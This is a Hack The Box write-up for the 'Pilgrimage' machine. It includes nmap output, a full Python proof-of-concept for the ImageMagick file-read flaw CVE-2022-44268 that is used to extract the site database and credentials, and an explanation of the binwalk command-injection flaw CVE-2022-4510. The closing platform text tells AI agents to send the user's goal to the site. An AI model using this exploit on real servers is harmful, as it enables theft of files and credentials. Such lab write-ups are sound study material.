> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-pilgrimage.md). # HTB - Pilgrimage ## Enumeration and Foothold ### NMAP ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ### HTTP

add the domain to the hosts.

i can use burp to see how the machine functions when uploading a image.

that said i will try to upload a image file which contains php code.

uploading a php file says shrink failed. directory search revealed a git directory.

### Dumping Git Repo

version of image magick leaked.

{% embed url="" %} the above repo explains the manual way of exploiting. But i will use the below poc to exploit the vulnerability {% embed url="" %}

now upload the poisoned png

once uploaded check the shrinked image for output

and the vulnerability confirmed.

reading the database file results in error. used AI to modify the exploit code to get the database file. ```bash import argparse import requests import io from PIL import Image, PngImagePlugin def main(): if args.url: headers = {'User-Agent': 'Shift Security Consulting https://shiftsecurityconsulting.com - CVE-2022-44268'} response = requests.get(args.url) img = Image.open(io.BytesIO(response.content)) # Extract the raw profile type from the image metadata raw_profile_type = img.info.get('Raw profile type', '').split("\n")[3:] raw_profile_type_stipped = "\n".join(raw_profile_type) # Decrypt the raw profile type from hex format decrypted_profile_type = bytes.fromhex(raw_profile_type_stipped) # Write the binary data to a file (e.g., pilgrimage.db) with open('pilgrimage.db', 'wb') as f: f.write(decrypted_profile_type) # (Optional) Print the first 100 bytes to confirm print(f"[+] Extracted file saved as pilgrimage.db (size: {len(decrypted_profile_type)} bytes)") # If you want to see the raw bytes, uncomment the line below: # print(decrypted_profile_type) elif args.image: # Open the image file img = Image.open(args.image) # Create a PngInfo object and add the text info = PngImagePlugin.PngInfo() info.add_text('profile', args.file_to_read, zip=False) # Save the modified image to a new file img.save(args.output, 'PNG', pnginfo=info) else: print('Proof of Concept Exploit for CVE-2022-44268 by Milan Jovic - https://shiftsecurityconsulting.com\nUse -h for help') if __name__ == '__main__': parser = argparse.ArgumentParser(description='Proof of Concept Exploit for CVE-2022-44268 by Milan Jovic - https://shiftsecurityconsulting.com') parser.add_argument('--url', help='The URL of the uploaded PNG image') parser.add_argument('--image', help='Input PNG file') parser.add_argument('--file-to-read', help='File to read') parser.add_argument('--output', help='Output PNG file') args = parser.parse_args() if not vars(args): parser.print_help() main() ```

got the creds of emily. ## Shell as Emily

root is running a malwarescan.sh and also a custom tool called inotifywait. ```bash emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh #!/bin/bash blacklist=("Executable script" "Microsoft executable") /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')" binout="$(/usr/local/bin/binwalk -e "$filename")" for banned in "${blacklist[@]}"; do if [[ "$binout" == *"$banned"* ]]; then /usr/bin/rm "$filename" break fi done done ``` This is a monitoring script that watches an upload directory and auto-deletes files that look like executables. `inotifywait -m -e create` monitors the `shrunk/` directory continuously (`-m` = monitor mode, don't exit after one event) for `create` events — i.e., any time a new file is created (such as an uploaded file being written to disk). Each event line gets piped into the `while read` loop. Runs `binwalk -e` on the new file. `binwalk` inspects a file's contents for embedded signatures (magic bytes) of various file types/formats, and `-e` tells it to also attempt extraction of anything it finds embedded inside. `binout` captures binwalk's text output/report. ### CVE‑2022‑4510 The script uses `/usr/local/bin/binwalk -e "$filename"`. Even though the parent shell quotes the variable, **binwalk itself** may invoke external extractors (e.g., `unzip`, `tar`) **without proper escaping** when dealing with filenames that contain shell meta characters. This is exactly what CVE‑2022‑4510 exploits.

{% embed url="" %}

## Shell as Root

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-pilgrimage.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.